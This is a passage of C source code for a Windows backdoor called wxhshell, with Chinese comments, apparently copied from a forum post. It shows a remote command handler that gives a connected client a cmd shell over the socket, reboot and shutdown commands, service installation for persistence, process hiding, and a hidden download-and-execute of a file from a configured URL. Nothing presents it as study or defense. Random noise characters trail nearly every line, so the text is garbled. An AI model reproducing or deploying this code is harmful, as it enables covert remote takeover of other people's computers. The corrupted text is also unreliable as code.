  // 帮助 o.H(&ex|  
  case '?': { Gj([S17\0:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CpF&Vy K  
    break; S~LT Lv:>  
  } o5eFLJ6  
  // 安装 Nl`8Kcv  
  case 'i': { \?.Tq24  
    if(Install()) ? v2JuhRe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T8rf+B/.L  
    else r6eApKZ>f6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,t_Fo-i7vI  
    break; 0FD+iID  
    } WKPuIE:  
  // 卸载 c 7uryL  
  case 'r': { /_*L8b  
    if(Uninstall()) {]\!vG6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 14v,z;HXj  
    else  =:-x;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (*2kM|  
    break; 0<T/P+|  
    } wsNM'~(  
  // 显示 wxhshell 所在路径 Mw+8p}E  
  case 'p': { -=D6[DjU<  
    char svExeFile[MAX_PATH]; d4zqLD$A  
    strcpy(svExeFile,"\n\r"); ^d2bl,1  
      strcat(svExeFile,ExeFile); T&`H )o  
        send(wsh,svExeFile,strlen(svExeFile),0); *aF<#m v  
    break; :X6A9jmd  
    } _n+./ B  
  // 重启 $w$4RQk3n  
  case 'b': { 7EAkY`Op  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [8QE}TFic  
    if(Boot(REBOOT)) pP6pn~ }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W=T}hA#`  
    else { _:tisr{  
    closesocket(wsh); \;G97o  
    ExitThread(0); x p#+{}  
    } "ujt:4 p@  
    break; &ii3Vlyzg  
    } )cy_d!  
  // 关机 -]h3s >t  
  case 'd': { ;tF7 GjEp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fXHN m$"n  
    if(Boot(SHUTDOWN)) T;%ceLD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ %HyXd  
    else { iE$/ Rcp  
    closesocket(wsh); ?g$dz?^CK&  
    ExitThread(0); {6yiD  
    } LAwl9YnG:  
    break; W|FPj^*t  
    } L@{5:#-  
  // 获取shell g2<xr;<t^  
  case 's': { [=Yfdh M8S  
    CmdShell(wsh); kEQ${F{  
    closesocket(wsh); @:s|X  
    ExitThread(0); >aZ$x/U+Iw  
    break; `8 Dgk}  
  } y^oSVj  
  // 退出 Y`u.P(7#  
  case 'x': { q)uq?sZe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @"m? #  
    CloseIt(wsh); C9q`x2  
    break; ^vmyiF  
    } o|nj2.  
  // 离开 5[|MO.CB$  
  case 'q': { 8L?35[]e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ? 1g<] ?  
    closesocket(wsh);  R9->.eE  
    WSACleanup(); Z=Oo%lM6B  
    exit(1); 2EOt.4cP  
    break; ;TK:D=p4  
        } av1*i3  
  } dfo{ B/+  
  } {qm(Z+wcmb  
b7/1 ]  
  // 提示信息 Y24: D7Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >4.{|0%ut  
} j!;?=s  
  } G!54 e  
)h ~MIpWR  
  return; SZCF db  
} L`ZH.fN  
wL2d.$?TEg  
// shell模块句柄 CW Y'q  
int CmdShell(SOCKET sock) Vl!Z|}z  
{ ~mtL\!vaM  
STARTUPINFO si; ipEsR/O  
ZeroMemory(&si,sizeof(si)); *fq=["O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nd&u*&S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kg$<^:uX  
PROCESS_INFORMATION ProcessInfo; ~h;c3#wuc  
char cmdline[]="cmd"; +[JGi"ca  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .(  vS/  
  return 0; 5M~\'\;  
} IiACr@[?e  
"YGs<)S  
// 自身启动模式 /0 ,#c2aq  
int StartFromService(void) %/H  
{ @fp(uu  
typedef struct bgd1j,PWbW  
{ B_[^<2_  
  DWORD ExitStatus; 'Z-jj2t}  
  DWORD PebBaseAddress; PCs+` WP!M  
  DWORD AffinityMask; [KR`%fD0  
  DWORD BasePriority; #nc{MR#R  
  ULONG UniqueProcessId; & h9ji[  
  ULONG InheritedFromUniqueProcessId; n-dO |3,  
}   PROCESS_BASIC_INFORMATION; -\j}le6;c  
LD WFc_  
PROCNTQSIP NtQueryInformationProcess; D a)[mxJ  
CCX\"-C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [t /hjm"$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g[j"]~  
<Ja>  
  HANDLE             hProcess; ,k/*f+t  
  PROCESS_BASIC_INFORMATION pbi; p~28?lYv  
xX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =%|S$J  
  if(NULL == hInst ) return 0; 5-}4jwk  
Bya!pzbpr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I`2hxLwh+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8 @!/%"Kt2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v[ru }/4  
rZZueYuXO  
  if (!NtQueryInformationProcess) return 0; O'" &9  
|-I[{"6q$@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y*0%l q({H  
  if(!hProcess) return 0; Tc@r#!.m  
{3C~cK{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bzmT.!  
Fy<dk}@  
  CloseHandle(hProcess); k oC2bX  
~xu<xy@E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5 %q26&  
if(hProcess==NULL) return 0; w1aa5-aF  
cp2e,%o  
HMODULE hMod; zHr1FxD  
char procName[255]; lx~!FLn  
unsigned long cbNeeded; bxO8q57  
2<y E3:VX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .8l\;/o|  
\Btv76*,  
  CloseHandle(hProcess); &D uvy#J  
IyYC).wU}  
if(strstr(procName,"services")) return 1; // 以服务启动 T<DQi  
`Bnp/9q5  
  return 0; // 注册表启动 m"~$JA u  
} [z`U 9J  
_5.^A&Y*  
// 主模块 W=o90TwbN  
int StartWxhshell(LPSTR lpCmdLine) }V?SedsY  
{ IR|AlIv  
  SOCKET wsl; zO2Z\E'% .  
BOOL val=TRUE; v?)JM+  
  int port=0; bQb> S<PT  
  struct sockaddr_in door; _;{n+i[  
(D{Fln\  
  if(wscfg.ws_autoins) Install(); J(h=@cw  
9~<HTH  
port=atoi(lpCmdLine); d> `9!)  
?I`']|I  
if(port<=0) port=wscfg.ws_port; DTt/nmKAqJ  
#~q{6()e:  
  WSADATA data; mKPyM<Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t*82^KDU  
#5N#^#r"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MV H^["AeR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d5%A64?  
  door.sin_family = AF_INET; |SZRO,7x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3.?PdK&C  
  door.sin_port = htons(port); Ej ip%m  
=g2; sM/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uOEy}&fH  
closesocket(wsl); IBC P6[  
return 1; 9n$GeRO  
} k(><kuJ`3  
~9p*zC3M  
  if(listen(wsl,2) == INVALID_SOCKET) { Ytc  
closesocket(wsl); D&/(Avx.  
return 1; ^~0\d;l_  
} {$HW_\w  
  Wxhshell(wsl); &|IY=$-  
  WSACleanup(); ^{_`jE  
<jQ?l% \  
return 0; pcv(P  
x,STt{I=  
} *]p]mzc  
C 6ZM#}I$l  
// 以NT服务方式启动 T#Qn\ 8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !!b5vzyve  
{ Ni'vz7j  
DWORD   status = 0; #q%xJ[  
  DWORD   specificError = 0xfffffff; c</d1xT  
OnC|9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]ZelB,7q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dOqn0Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kV(}45i]s  
  serviceStatus.dwWin32ExitCode     = 0; 9l@VxX68M  
  serviceStatus.dwServiceSpecificExitCode = 0; `)& -;CMY  
  serviceStatus.dwCheckPoint       = 0; }L{en  
  serviceStatus.dwWaitHint       = 0; ync2X{9D  
zJOjc/\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G7DEavtr  
  if (hServiceStatusHandle==0) return; D:U:( pg  
4T`u?T]  
status = GetLastError(); d Ayof=  
  if (status!=NO_ERROR) !1]72%k[  
{ [2gK^o&t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @|6n.'f+  
    serviceStatus.dwCheckPoint       = 0; h-=3 b  
    serviceStatus.dwWaitHint       = 0; =da_zy  
    serviceStatus.dwWin32ExitCode     = status; >;dMumX  
    serviceStatus.dwServiceSpecificExitCode = specificError; @mW: FVI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aIpDf|~  
    return; KcglpKV`  
  } E5UI  
Xa.Qt.C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p\wE})mu  
  serviceStatus.dwCheckPoint       = 0; ``)ys^V  
  serviceStatus.dwWaitHint       = 0; j8$*$|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $U<so{xn%  
} b-'41d}Hn  
R)"Ds}1G  
// 处理NT服务事件,比如:启动、停止 9; HR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r]sv50Fy  
{ 7JD jJQy  
switch(fdwControl) [nJ),9$z_  
{ XL>c TM  
case SERVICE_CONTROL_STOP: '^'vafs-/@  
  serviceStatus.dwWin32ExitCode = 0; ".O+";wk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x1W<r)A )r  
  serviceStatus.dwCheckPoint   = 0; y5 $h  
  serviceStatus.dwWaitHint     = 0; ZMy0iQ@  
  { d_BECx <\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eg-3GkC  
  } p [4/Nq,c  
  return; hW$B;  
case SERVICE_CONTROL_PAUSE: V~tq _  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1hw1AJ}(F  
  break; aB;syl{  
case SERVICE_CONTROL_CONTINUE: Q>] iRx>MZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {1;j1|CI  
  break; .i>; ?(GH  
case SERVICE_CONTROL_INTERROGATE: s"#JBw\7  
  break; O6NgI2[O  
}; 8rAOs\ys  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^6bU4bA  
} 8bLA6qmM\  
cu5Yvp  
// 标准应用程序主函数 U+F?b\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dElOy?v  
{ -@X?~4Idz  
XZYpU\K  
// 获取操作系统版本 @cA`del  
OsIsNt=GetOsVer();  d!5C$C/x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x+x 6F  
+!6aB|-  
  // 从命令行安装 "rOe J~4 X  
  if(strpbrk(lpCmdLine,"iI")) Install(); i[/g&fx  
3zo]*6p0  
  // 下载执行文件 Gkv<)}G  
if(wscfg.ws_downexe) { n#[-1 (P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k3h,c;  
  WinExec(wscfg.ws_filenam,SW_HIDE); x*Y&s<  
} :p0|4g  
:'9%~q.D4  
if(!OsIsNt) { ~CgKU8  
// 如果时win9x,隐藏进程并且设置为注册表启动 4HQP,  
HideProc(); hqIYo .<  
StartWxhshell(lpCmdLine); N=^{FZ  
} r63_|~JVB<  
else 55MrsiW  
  if(StartFromService()) _\hZX|:]  
  // 以服务方式启动 ")'o5V  
  StartServiceCtrlDispatcher(DispatchTable); YhYcqE8  
else 0OO$(R*  
  // 普通方式启动 3o&PVU? Q  
  StartWxhshell(lpCmdLine); j/`- x  
:Fz;nG-G  
return 0; ?piv]Z  
}
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只看该作者 1 发表于: 2006-10-10
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